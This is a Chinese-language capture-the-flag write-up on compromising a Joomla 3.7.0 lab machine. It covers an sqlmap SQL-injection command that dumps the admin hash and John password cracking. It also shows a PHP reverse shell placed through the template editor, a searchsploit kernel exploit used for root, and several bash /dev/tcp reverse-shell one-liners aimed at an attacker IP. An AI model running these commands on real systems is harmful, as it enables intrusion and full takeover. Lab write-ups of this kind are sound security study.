0x00 sql注入
找到靶机IP netdiscover
扫描所有端口和全面扫描 namp -p- -A 192.168.1.105
可以看到之开启了80端口,而且用了joomla,用joomla对应的扫描工具 joomscan 进行扫描
收集到一些目录和管理员登陆页面和版本信息 3.7.0,接下来去百度找到3.7.0的漏洞,拿到exp过来直接打
扔sqlmap跑出账号和加密的后得密码
sqlmap -u "http://192.168.1.105/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)" -p "list[fullordering]" --dump -C password -T "#__users" -D joomladb
结果:
账号:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
用john暴力猜解密码的hash
先把这段密码复制到一个文件,然后john+文件名就行了
猜解到密码拿去登陆后台
0x01 getshell
找到模板处可以任意添加PHP文件,这不就相当于命令执行吗。。直接反弹一个shell
kali中nc开始监听,然后去访问shell触发
0x02 提权
查看内核 uname -a
16年ubuntu 的 4.4.0,新建一个shell去查一下漏洞库
这几个应该都行,用39772.txt
searchsploit -m 39772.txt
然后打开39772.txt
可以看到利用步骤,去最后哪个网址去把利用的下载下来
一般是可以再靶机wget直接下载的,但是有的wget不了github, 这里先下载到本地,然后wget 本地服务器到里面就行了
下载到tmp目录,原因事因为tmp目录权限为 777
upzip 39772.zip
tar -xvf exploit.rar
然后先 compile.sh 编译一下,然后运行doubleput就拿到root权限了,然后就直接去root下翻到最后的flag搞定
0x03 反弹shell
参考好文:
大致意思是标准输入和标准输出和错误输出的重定向,将三个一起绑定到攻击机的端口,这样就实现了拿取对方shell的功能
自己琢磨了一下,重在理解以下几个点:
1)将标准输出重定向到攻击机端口
结果
2)将标准输入定向到攻击机端口
3)bash -i 的绑定
绑定标准输出
bash -i >/dev/tcp/192.168.43.116/4444
绑定标准输入
bash -i </dev/tcp/192.168.43.116/4444
两者同时绑定(必须两者同时绑定我们才可以进行一个完整的shell交互)
bash -i > /dev/tcp/192.168.43.116/4444 0>&1
ps:对于这条语句我的理解是 先把标准输出绑定到端口,再把标准输入绑定到标准输出
4)错误输出绑定
实际上在3)里面我们已经实现了shell的交互,但是还有一个没有绑定,那就是错误消息的输出,这样会造成的不好的地方就是我们在攻击机
执行的命令会在靶机中显示
解决的办法只需再将标准错误输出绑定 2>&1
经典的语句是
bash -i >& /dev/tcp/192.168.43.116/4444 0>&1
前者已经将标准输出和错误输出绑定到了 攻击机的端口上
0x04 总结
打了这个靶机不经思考,实战中如何反弹shell呢? 处于公网的服务器如何连接自己内网的kali呢?其实早在之前就遇到了这个问题
解决办法:
1)云渗透机。。(不现实,有点贵,而且需要下载很多东西)
2)端口映射(ghtwf01师傅教过,但是到现在还没去整理,真的是太懒了,反思反思)